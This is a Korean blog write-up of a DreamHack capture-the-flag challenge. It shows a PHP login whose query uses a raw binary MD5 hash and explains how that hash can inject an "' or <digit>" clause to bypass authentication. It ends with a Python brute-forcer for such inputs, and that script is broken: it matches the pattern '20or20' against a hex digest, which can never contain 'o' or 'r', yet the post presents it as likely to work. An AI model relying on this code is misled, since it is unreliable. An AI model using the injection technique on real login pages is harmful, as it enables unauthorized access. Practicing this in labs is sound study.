본문 바로가기

Hacking/DreamHack

md5 password

해당 서비스의 소스보기 시 

<?php
 if (isset($_GET['view-source'])) {
  show_source(__FILE__);
  exit();
 }

 if(isset($_POST['ps'])){
  sleep(1);
  include("./lib.php"); # include for $FLAG, $DB_username, $DB_password.
  $conn = mysqli_connect("localhost", $DB_username, $DB_password, "md5_password");
  /*
  
  create table admin_password(
   password char(64) unique
  );
  
  */

  $ps = mysqli_real_escape_string($conn, $_POST['ps']);
  $row=@mysqli_fetch_array(mysqli_query($conn, "select * from admin_password where password='".md5($ps,true)."'"));
  if(isset($row[0])){
   echo "hello admin!"."<br />";
   echo "FLAG : ".$FLAG;
  }else{
   echo "wrong..";
  }
 }
?>
<style>
 input[type=text] {width:200px;}
</style>
<br />
<br />
<form method="post" action="./index.php">
password : <input type="text" name="ps" /><input type="submit" value="login" />
</form>
<div><a href='?view-source'>get source</a></div>

 

위와 같으며, md5('value', true) 함수는 

true 옵션 사용시 16자리의 바이너리 형식으로 출력 

 

D:\드림핵\웹과정\md5 password>php test.php
�Flag1 : 21232f297a57a5a743894a0e4a801fc3    //md5("admin")
Flag2 : !#/)zW��C�JJ��					  //md5("admin",true)

 

이를 활용하여, sql injection 구문 생성하여

$row 값을 true 로 만듬

 

일단 문제는 구글에 sqli raw hash md5 라고 검색하여 아래 내용으로 쉽게 풀 수 있었고,
(sqli =>" or 숫자(true)" 를 이용)

 

 

직접 해당 " or 숫자" 에 패턴에 맞는 input 값을 구하기 위해 python 구문 작성

아래와 같이 코드 돌리면 답이 나올 껏으로 보임

import hashlib
import random
import string
import re

def find_md5_with_pattern(pattern, max_attempts=10000000):
    characters = string.ascii_letters + string.digits
    attempts = 0

    while attempts < max_attempts:
        test_string = ''.join(random.choice(characters) for _ in range(8))
        md5_hash = hashlib.md5(test_string.encode()).digest()  # 바이너리 형식으로 MD5 해시 생성
        hex_hash = md5_hash.hex()  # 16진수 문자열로 변환

        # 패턴이 포함되어 있는지 확인
        if re.search(pattern, hex_hash):
            return test_string, hex_hash
        attempts += 1

    return None, None  # 패턴을 찾지 못한 경우

# " or 숫자" 패턴 설정 (공백 or 공백 숫자의 16진수 표현)
pattern = r'20or20[0-9]'

found_string, found_hash = find_md5_with_pattern(pattern)

if found_string:
    print(f"Found string: {found_string}")
    print(f"MD5 (hex): {found_hash}")
else:
    print("Pattern not found within the maximum number of attempts.")

'Hacking > DreamHack' 카테고리의 다른 글

Cat Jump  (6) 2024.08.28
Master Canary  (0) 2024.08.13
Textbook-HMAC  (1) 2024.05.22
Stupid GCC  (0) 2024.05.22
textbook-des__crypto  (1) 2024.05.07